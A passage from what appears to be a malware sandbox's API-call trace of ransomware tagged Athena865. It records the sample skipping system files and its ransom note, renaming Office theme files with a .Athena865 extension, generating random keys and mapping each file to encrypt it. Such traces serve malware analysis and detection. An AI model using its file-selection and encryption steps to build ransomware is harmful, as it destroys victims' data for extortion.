szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.136] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.136] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.136] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55b0, lpName=0x0) returned 0x17c [0137.144] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x55b0) returned 0x100000 [0137.145] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.146] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.146] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.146] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.146] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.147] CloseHandle (hObject=0x17c) returned 1 [0137.147] CloseHandle (hObject=0x154) returned 1 [0137.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.147] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="FLOW~1.EFT")) returned 1 [0137.147] lstrcmpiW (lpString1="Flow.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.147] lstrcmpiW (lpString1="Flow.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.147] lstrcmpiW (lpString1="Flow.eftx", lpString2=".") returned 1 [0137.147] lstrcmpiW (lpString1="Flow.eftx", lpString2="..") returned 1 [0137.147] lstrcmpiW (lpString1="Flow.eftx", lpString2="windows") returned -1 [0137.147] lstrcmpiW (lpString1="Flow.eftx", lpString2="bootmgr") returned 1 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2="temp") returned -1 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2="pagefile.sys") returned -1 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2="boot") returned 1 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2="ids.txt") returned -1 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2="ntuser.dat") returned -1 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2="perflogs") returned -1 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2="MSBuild") returned -1 [0137.148] lstrlenW (lpString="Flow.eftx") returned 9 [0137.148] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Flow.eftx" | out: lpString1="Flow.eftx") returned="Flow.eftx" [0137.148] lstrlenW (lpString="Flow.eftx") returned 9 [0137.148] lstrlenW (lpString="Athena865") returned 9 [0137.148] lstrlenW (lpString=".dll") returned 4 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2=".dll") returned 1 [0137.148] lstrlenW (lpString=".lnk") returned 4 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2=".lnk") returned 1 [0137.148] lstrlenW (lpString=".ini") returned 4 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2=".ini") returned 1 [0137.148] lstrlenW (lpString=".sys") returned 4 [0137.148] lstrcmpiW (lpString1="Flow.eftx", lpString2=".sys") returned 1 [0137.148] lstrlenW (lpString="Flow.eftx") returned 9 [0137.148] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.Athena865") returned 86 [0137.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.athena865"), dwFlags=0x1) returned 1 [0137.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.150] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26648) returned 1 [0137.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.151] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.151] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.151] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.152] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b20, lpName=0x0) returned 0x17c [0137.153] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b20) returned 0x100000 [0137.154] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.155] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.155] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.156] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.156] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.156] CloseHandle (hObject=0x17c) returned 1 [0137.156] CloseHandle (hObject=0x154) returned 1 [0137.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.157] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="FOUNDR~1.EFT")) returned 1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".") returned 1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="..") returned 1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="windows") returned -1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="bootmgr") returned 1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="temp") returned -1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="pagefile.sys") returned -1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="boot") returned 1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="ids.txt") returned -1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="ntuser.dat") returned -1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="perflogs") returned -1 [0137.157] lstrcmpiW (lpString1="Foundry.eftx", lpString2="MSBuild") returned -1 [0137.157] lstrlenW (lpString="Foundry.eftx") returned 12 [0137.157] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Foundry.eftx" | out: lpString1="Foundry.eftx") returned="Foundry.eftx" [0137.157] lstrlenW (lpString="Foundry.eftx") returned 12 [0137.157] lstrlenW (lpString="Athena865") returned 9 [0137.157] lstrcmpiW (lpString1="ndry.eftx", lpString2="Athena865") returned 1 [0137.157] lstrlenW (lpString=".dll") returned 4 [0137.158] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".dll") returned 1 [0137.158] lstrlenW (lpString=".lnk") returned 4 [0137.158] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".lnk") returned 1 [0137.158] lstrlenW (lpString=".ini") returned 4 [0137.158] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".ini") returned 1 [0137.158] lstrlenW (lpString=".sys") returned 4 [0137.158] lstrcmpiW (lpString1="Foundry.eftx", lpString2=".sys") returned 1 [0137.158] lstrlenW (lpString="Foundry.eftx") returned 12 [0137.158] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.Athena865") returned 89 [0137.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.athena865"), dwFlags=0x1) returned 1 [0137.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.159] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18226) returned 1 [0137.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.160] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.160] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.161] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.161] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.161] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a40, lpName=0x0) returned 0x17c [0137.162] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a40) returned 0x100000 [0137.164] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.164] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.164] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.165] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.165] CloseHandle (hObject=0x17c) returned 1 [0137.165] CloseHandle (hObject=0x154) returned 1 [0137.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.166] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="GRID~1.EFT")) returned 1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2=".") returned 1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="..") returned 1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="windows") returned -1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="bootmgr") returned 1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="temp") returned -1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="pagefile.sys") returned -1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="boot") returned 1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="ids.txt") returned -1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="ntuser.dat") returned -1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="perflogs") returned -1 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2="MSBuild") returned -1 [0137.166] lstrlenW (lpString="Grid.eftx") returned 9 [0137.166] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Grid.eftx" | out: lpString1="Grid.eftx") returned="Grid.eftx" [0137.166] lstrlenW (lpString="Grid.eftx") returned 9 [0137.166] lstrlenW (lpString="Athena865") returned 9 [0137.166] lstrlenW (lpString=".dll") returned 4 [0137.166] lstrcmpiW (lpString1="Grid.eftx", lpString2=".dll") returned 1 [0137.166] lstrlenW (lpString=".lnk") returned 4 [0137.167] lstrcmpiW (lpString1="Grid.eftx", lpString2=".lnk") returned 1 [0137.167] lstrlenW (lpString=".ini") returned 4 [0137.167] lstrcmpiW (lpString1="Grid.eftx", lpString2=".ini") returned 1 [0137.167] lstrlenW (lpString=".sys") returned 4 [0137.167] lstrcmpiW (lpString1="Grid.eftx", lpString2=".sys") returned 1 [0137.167] lstrlenW (lpString="Grid.eftx") returned 9 [0137.167] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.Athena865") returned 86 [0137.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.athena865"), dwFlags=0x1) returned 1 [0137.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.168] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18639) returned 1 [0137.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.169] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.170] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.170] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.170] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4bd0, lpName=0x0) returned 0x17c [0137.171] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4bd0) returned 0x100000 [0137.172] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.173] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.173] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.174] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.174] CloseHandle (hObject=0x17c) returned 1 [0137.174] CloseHandle (hObject=0x154) returned 1 [0137.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.175] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="HARDCO~1.EFT")) returned 1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".") returned 1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="..") returned 1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="windows") returned -1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="bootmgr") returned 1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="temp") returned -1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="pagefile.sys") returned -1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="boot") returned 1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="ids.txt") returned -1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="ntuser.dat") returned -1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="perflogs") returned -1 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2="MSBuild") returned -1 [0137.175] lstrlenW (lpString="Hardcover.eftx") returned 14 [0137.175] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Hardcover.eftx" | out: lpString1="Hardcover.eftx") returned="Hardcover.eftx" [0137.175] lstrlenW (lpString="Hardcover.eftx") returned 14 [0137.175] lstrlenW (lpString="Athena865") returned 9 [0137.175] lstrcmpiW (lpString1="over.eftx", lpString2="Athena865") returned 1 [0137.175] lstrlenW (lpString=".dll") returned 4 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".dll") returned 1 [0137.175] lstrlenW (lpString=".lnk") returned 4 [0137.175] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".lnk") returned 1 [0137.176] lstrlenW (lpString=".ini") returned 4 [0137.176] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".ini") returned 1 [0137.176] lstrlenW (lpString=".sys") returned 4 [0137.176] lstrcmpiW (lpString1="Hardcover.eftx", lpString2=".sys") returned 1 [0137.176] lstrlenW (lpString="Hardcover.eftx") returned 14 [0137.176] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.Athena865") returned 91 [0137.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.athena865"), dwFlags=0x1) returned 1 [0137.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.177] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=350689) returned 1 [0137.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.178] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.178] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, 